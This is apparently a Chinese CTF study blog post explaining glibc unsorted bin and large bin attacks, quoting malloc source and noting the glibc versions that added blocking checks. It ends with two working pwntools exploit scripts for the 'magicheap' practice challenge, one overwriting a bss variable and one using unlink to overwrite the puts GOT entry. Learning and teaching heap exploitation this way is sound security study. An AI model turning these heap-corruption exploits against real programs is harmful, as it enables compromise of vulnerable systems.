今天继续整理攻击方法,逆水行舟,不进则退。
Unsorted bin attack与Large bin attack两者我还是放在一起了,因为两者相近,都是通过修改bk(bk_nextsize)来实现对一块区域的修改,漏洞在于缺少*(bk)->fd的检测。
unsortedbin的利用点
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
ctfwiki说实话有点讨人厌,这么大的检测一嘴也不提,按我现在的知识水平,我觉得这个检测一出基本就废了。但本着刨根问底的精神,我必须找出来这个检测是在哪个版本加的,经过我的二分法筛选(轻喷),找出来是libc2.28加的。
这个网站不错,源码版本很齐,推荐一下
这看起来似乎并没有什么用处,但是其实还是有点卵用的,比如说
- 我们通过修改循环的次数来使得程序可以执行多次循环。
- 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack 了。
具体遇到再分析,看起来有些鸡助...
再分析一下largebin attack
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
利用的是unsorted bin大循环时,如果victim大小符合largebin就并入
核心在于有一些间接寻址如:
victim->fd_nextsize= fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
这种间接的利用导致可以造成类似unsortedbin的fwd->bk->fd效果,这是核心!!!
那我们看一下,那些是可以利用的:
首先largebin并入有三种情况:
1.victim最小,小于largebin最后一个
2.victim插入,没有与之相同大小的
3.victim插入,有相同大小的
4.largebin嘛也没有
第一种情况,victim最小
fwd = bck; //fwd指bins的假chunk
bck = bck->bk; //最小的那个chunk
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize =
victim->bk_nextsize->fd_nextsize = victim;
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
可以用的:
fwd->fd->bk_nextsize->fd_nextsize=victim
由于是最小项,所以不需要遍历largebin,所以构造也不需要害怕改变fwd->fd(最大的chunk)
fwd->fd利用难度较大,能利用第二种还是第二种情况吧
第二种情况,没有与之相同大小的
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
bck = fwd->bk;
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
我们把这种情况的变化拎出来,看看谁是间接变化后可利用的:
fwd->bk_nextsize->fd_nextsize=victim
fwd->bk->fd=victim
第三种第四种情况,无法利用(这是本人阅读源码的结论,如果有,麻烦指正。
又到了最上火的找检测时间了
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked liscorrupted(nextsize)");
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
由于2.30多了这两个检测,所以第二种情况(非最小也无相同)废了,也就是说,只能被迫用第一种了!前人找bug,让后人没机会再找(
到这里,unsorted bin attack和large bin attack的利用讲解告一段落了。
接下来,上例题!
hitcontraining_magicheap
buuoj可找
普普通通,creat时就可以读,edit也可以读,而且很随意,可以读任意大小。教学题的气氛。
利用点在这里,只要magic>=0x1305就可以system了,magic是个bss区的数,位置已知。题目环境是ubuntu16,也没啥检测。这里已经很明确了,告诉我们让我们用unsorted bin来做(虽然largebin也可)
有两种思路,一种是按照上一个博客的第一道题,free chunk1后edit chunk0去修改chunk1的fd,一种是较通过的,通过overlapping实现对一个块同时拥有两个可操纵权,一个free,一个修改。
本着偷懒的精神更易操作,选择第一个。
from pwn import *
#p = process('./magicheap')
p=remote("node4.buuoj.cn",27142)
context(os='linux', arch='amd64', log_level='debug')
def CreateHeap(size,content):
p.recvuntil(':')
p.sendline(b'1')
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(content)
def EditHeap(idx,size,content):
p.recvuntil(':')
p.sendline(b'2')
p.recvuntil(':')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(content)
def DeleteHeap(idx):
p.recvuntil(':')
p.sendline(b'3')
p.recvuntil(':')
p.sendline(str(idx))
CreateHeap(0x30,b'aaaa')
CreateHeap(0x80,b'bbbb')
CreateHeap(0x10,b'cccc')
DeleteHeap(1)
#gdb.attach(p)
magic = 0x6020A0
EditHeap(0,0x50,0x30 * b"a" + p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))
#gdb.attach(p)
CreateHeap(0x80,b'dddd')
#gdb.attach(p)
p.sendlineafter(':',b'4869')
p.interactive()
网上看到了一种unlink用法,挺有意思的,操作bss区,不跟着作者走。有意思,记录一下
通过unlink修改指针数组,复习一下unlink用法。效果在更改指针大小+0x18。
from pwn import *
p = remote("node4.buuoj.cn",25162)
#p = process("./magicheap")
e = ELF("./magicheap")
sh_addr = 0x400c50
bss_addr = 0x6020c0
context.log_level ="debug"
p.timeout = 0.5
def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)
p.recvuntil("SuccessFul\n")
def edit(index,size,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap : ")
p.sendline(content)
p.recvuntil("Done !\n")
def delete(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Done !\n")
add(0x30,"a"*0x30)#0
add(0x30,"a"*0x30)#1
add(0x80,"a"*0x80)#2
add(0x10,"a"*0x10)#
pl1 = p64(0) + p64(0x31) + p64(bss_addr - 0x10) + p64(bss_addr-0x8) + p64(0) + p64(0)
pl1+= p64(0x30) + p64(0x90)
edit(1,0x40,pl1)
delete(2)
pl2 = p64(0) + p64(0) + p64(e.got["puts"])
edit(1,0x30,pl2)
edit(0,0x8,p64(sh_addr))
# gdb.attach(p)
# pause()
p.interactive()